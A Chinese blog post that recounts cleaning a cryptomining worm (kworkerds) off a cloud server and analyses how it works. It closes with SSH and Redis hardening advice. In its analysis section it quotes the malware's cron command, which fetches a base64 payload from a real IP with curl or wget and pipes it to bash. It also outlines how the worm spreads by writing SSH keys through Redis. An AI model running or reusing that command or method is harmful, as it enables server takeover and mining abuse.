0x01 开始

刚买的腾讯云服务器不久,发现用xshell登不上去,然后使用腾讯提供的web界面也登陆不上去。后来重启服务器,终于登陆上去。不过进去一会儿,服务器便卡的不行,使用htop发现 cpu 100%

资源全被 root 用户 /tmp/kworderds 占用了 切换到root用户 crontab -l

发现一个可疑定时任务 进入/var/spool/cron目录,有这两个文件

crontabs 文件中也有个root文件 root文件中就是这个定时任务了

尝试去删掉这个root文件和crontabs文件夹

what?不能删除? 百度下发现问题,lsattr

文件被保护了,chattr -i 去掉文件的 i 权限,文件顺利删除(crontabs文件也是同样问题) 不过一会后这个定时脚本又自动生成出来了(what fk!)

再去检查下/etc/cron.d 文件夹下看看有什么问题

果然,这个文件也被修改了 干掉apacheroot 注意 0hourly最后一句,01 * * * * root run-parts /etc/cron.hourly 然后,我立马想到,这也应该被人改了

果不其然。干掉

其他文件中也有同样的问题 (只有cron.weekly没被修改) 百度一下其他大佬。然后清空/tmp 目录(因为是新服务器, 所以没什么重要东西) ps aux|grep kworkerds | awk '{print $2}' | xargs kill -9 干掉 所有kworkerds进程 等了一会后病毒没有发作,应该是成功了

然后隔了一天又出来了 ps aux|grep python


0x02 下面来解析下病毒到低做了些什么

  1. 定时任务中的 http://185.10.68.91/1/1
    (curl -fsSL http://185.10.68.91/raw/68VYMp5T || wget -q -O-http://185.10.68.91/raw/68VYMp5T)|base64 -d |/bin/bash
  2. 返回了类似的参数,那我们再次请求下http://185.10.68.91/raw/68VYMp5T

0x03 总结

一开始的修改系统环境没什么好说的,接下来的写文件操作有点眼熟,如果用过redis的人,应该能猜到,这里是对redis进行配置。写这个配置,自然也就是利用了redis把缓存内容写入本地文件的漏洞,结果就是用本地的私钥去登陆被写入公钥的服务器了,无需密码就可以登陆,也就是我们文章最开始的/root/.ssh/authorized_keys。登录之后就开始定期执行计划任务,下载脚本。好了,配置文件准备好了,就开始利用masscan进行全网扫描redis服务器,寻找肉鸡,注意看这6379就是redis服务器的默认端口,如果你的redis的监听端口是公网IP或是0.0.0.0,并且没有密码保护,不好意思,你就中招了。

通过依次分析这3个脚本,就能看出这个病毒的可怕之处,先是通过写入ssh public key 拿到登录权限,然后下载执行远程二进制文件,最后再通过redis漏洞复制,迅速在全网传播,以指数级速度增长。那么问题是,这台服务器是怎么中招的呢?看了下redis.conf,bind的地址是127.0.0.1,没啥问题。由此可以推断,应该是root帐号被暴力破解了,为了验证我的想法,我lastb看了一下,果然有大量的记录: 图4 还剩最后一个问题,这个gpg-agentd程序到底是干什么的呢?我当时的第一个反应就是矿机,因为现在数字货币太火了,加大了分布式矿机的需求,也就催生了这条灰色产业链。于是,顺手把这个gpg-agentd拖到ida中,用string搜索bitcoin, eth, mine等相关单词,最终发现了这个:

0x04 安全建议

一,服务器

1,禁用ROOT 2,用户名和密码尽量复杂 3,修改ssh的默认22端口 4,安装DenyHosts防暴力破解软件 5,禁用密码登录,使用RSA公钥登录

二,redis

1,禁用公网IP监听,包括0.0.0.0 2,使用密码限制访问redis 3,使用较低权限帐号运行redis
